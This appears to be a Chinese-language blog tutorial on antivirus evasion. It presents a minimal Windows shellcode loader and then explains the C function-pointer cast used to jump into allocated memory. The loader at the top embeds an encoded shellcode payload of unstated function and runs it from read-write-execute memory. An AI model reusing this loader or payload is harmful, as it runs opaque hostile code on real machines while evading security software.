免杀基础之认识shellcode加载器

认识shellcode加载器

下面是一个最简单的shellcode加载器,目的是将shellcode加载到内存中并执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#define _CRT_SECURE_NO_DEPRECATE

#include "Windows.h"

int main()
{
unsigned char buf[] =
"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xa2\xd8\x0e\xfe\xd3\xcd\x9c\xae\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x5e\x90\x8d\x1a\x23\x25"
"\x5c\xae\xa2\xd8\x4f\xaf\x92\x9d\xce\xff\xf4\x90\x3f\x2c\xb6"
"\x85\x17\xfc\xc2\x90\x85\xac\xcb\x85\x17\xfc\x82\x90\x85\x8c"
"\x83\x85\x93\x19\xe8\x92\x43\xcf\x1a\x85\xad\x6e\x0e\xe4\x6f"
"\x82\xd1\xe1\xbc\xef\x63\x11\x03\xbf\xd2\x0c\x7e\x43\xf0\x99"
"\x5f\xb6\x58\x9f\xbc\x25\xe0\xe4\x46\xff\x03\x46\x1c\x26\xa2"
"\xd8\x0e\xb6\x56\x0d\xe8\xc9\xea\xd9\xde\xae\x58\x85\x84\xea"
"\x29\x98\x2e\xb7\xd2\x1d\x7f\xf8\xea\x27\xc7\xbf\x58\xf9\x14"
"\xe6\xa3\x0e\x43\xcf\x1a\x85\xad\x6e\x0e\x99\xcf\x37\xde\x8c"
"\x9d\x6f\x9a\x38\x7b\x0f\x9f\xce\xd0\x8a\xaa\x9d\x37\x2f\xa6"
"\x15\xc4\xea\x29\x98\x2a\xb7\xd2\x1d\xfa\xef\x29\xd4\x46\xba"
"\x58\x8d\x80\xe7\xa3\x08\x4f\x75\xd7\x45\xd4\xaf\x72\x99\x56"
"\xbf\x8b\x93\xc5\xf4\xe3\x80\x4f\xa7\x92\x97\xd4\x2d\x4e\xf8"
"\x4f\xac\x2c\x2d\xc4\xef\xfb\x82\x46\x75\xc1\x24\xcb\x51\x5d"
"\x27\x53\xb7\x6d\xba\xef\x9c\xfd\xeb\x3c\xfe\xd3\x8c\xca\xe7"
"\x2b\x3e\x46\x7f\x3f\x6d\x9d\xae\xa2\x91\x87\x1b\x9a\x71\x9e"
"\xae\xa3\x63\xce\x56\x7d\xce\xdd\xfa\xeb\x51\xea\xb2\x5a\x3c"
"\xdd\x14\xee\xaf\x28\xf9\x2c\x18\xd0\x27\x48\xb0\x0f\xff\xd3"
"\xcd\xc5\xef\x18\xf1\x8e\x95\xd3\x32\x49\xfe\xf2\x95\x3f\x37"
"\x9e\xfc\x5c\xe6\x5d\x18\x46\x77\x11\x85\x63\x6e\xea\x51\xcf"
"\xbf\x69\x27\x93\x71\x42\x27\xdb\xb6\x5a\x0a\xf6\xbe\xe3\x80"
"\x42\x77\x31\x85\x15\x57\xe3\x62\x97\x5b\xa7\xac\x63\x7b\xea"
"\x59\xca\xbe\xd1\xcd\x9c\xe7\x1a\xbb\x63\x9a\xd3\xcd\x9c\xae"
"\xa2\x99\x5e\xbf\x83\x85\x15\x4c\xf5\x8f\x59\xb3\xe2\x0d\xf6"
"\xa3\xfb\x99\x5e\x1c\x2f\xab\x5b\xea\x86\x8c\x0f\xff\x9b\x40"
"\xd8\x8a\xba\x1e\x0e\x96\x9b\x44\x7a\xf8\xf2\x99\x5e\xbf\x83"
"\x8c\xcc\xe7\x5d\x18\x4f\xae\x9a\x32\x54\xe3\x2b\x19\x42\x77"
"\x12\x8c\x26\xd7\x6e\xe7\x88\x01\x06\x85\xad\x7c\xea\x27\xc4"
"\x75\xdd\x8c\x26\xa6\x25\xc5\x6e\x01\x06\x76\x6c\x1b\x00\x8e"
"\x4f\x44\x75\x58\x21\x33\x5d\x0d\x46\x7d\x17\xe5\xa0\xa8\xde"
"\xd2\x8e\x05\x33\xb8\x99\x15\xe5\xcb\x7c\x91\xb9\xcd\xc5\xef"
"\x2b\x02\xf1\x2b\xd3\xcd\x9c\xae";


void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof(buf));
((void(*)())exec)();

return 0;
}

其中,VirtualAlloc()的作用是在虚拟内存空间中申请一块区域

1
2
3
4
5
6
7
8
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/

void *memcpy(void *str1, const void *str2, size_t n) 从存储区 str2 复制 n 个字节到存储区 str1,在上述实例中是将buf复制到exec中,大小为sizeof(buf)

下面这句话比较关键,

((void(*)())exec)()

理解这句话首先要回顾c语言相关知识,*p代表一个指针,指针指向某个函数的地址,而*p()则代表了调用p所指向的函数。

标准的调用方法为(*p)(),简写为p()

示例如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# include <stdio.h>
int Max(int, int); //函数声明
int main(void)
{
int (*p)(int, int); //定义一个函数指针
int a, b, c,d;
p = Max; //把函数Max赋给指针变量p, 使p指向Max函数
printf("please enter a and b:");
scanf("%d%d", &a, &b);

c = p(a, b); // 通过函数指针调用Max函数
d = (*p)(a, b); // 这样调用也行

printf("a = %d\nb = %d\nmax = %d,%d\n", a, b, c,d);
return 0;
}
int Max(int x, int y) //定义Max函数
{
int z;
if (x > y)
{
z = x;
}
else
{
z = y;
}
return z;
}

输出结果为

1
2
3
4
please enter a and b:3 4
a = 3
b = 4
max = 4

在上述代码中定义了int型的指针p,p指向一个函数,该函数接受两个int型的参数

如果p是指向返回类型为void的函数的指针,那么p的声明应该类似

1
void (*p)();

在c语言的类型转换中,如果想把float类型转为int型的话,强制类型转换方法如下:

float a=1.1;

float b=(int)a;

虽然上述例子与int b=a;的结果一致,但上述例子突出了使用强制类型转换:把变量a从float类型专为了int类型,那么我们可以得到类型转换的方法为在变量前面加**(type),这里的type就是int**,即**(int),我们从变量声明的int a;到类型转换的(int) a 的区别为:去掉变量名**与分号,并将剩余部分括起来,就得到了int型的强制类型转换方法。

如果我们想得到一个void类型的函数的指针应该怎么做?

上面提到的

1
void (*p)();

是一个void类型的函数指针p的变量声明,根据上述规则,强制转换方法为**(void ()())**,即我们可以在某变量前面添加*(void (*)())**将其强制转换为返回值为空的指向函数的指针类型。

现在再把下面的代码拆开理解:

1
(    (void(*)())    exec    )();

(void()())代表将exec转为返回值为空的指针类型,( (void()()) exec )()( * (void(*)()) exec )()等价,都是代表调用返回值类型为void函数指针exec所指向的函数.

参考

https://fengwenhua.top/index.php/archives/64/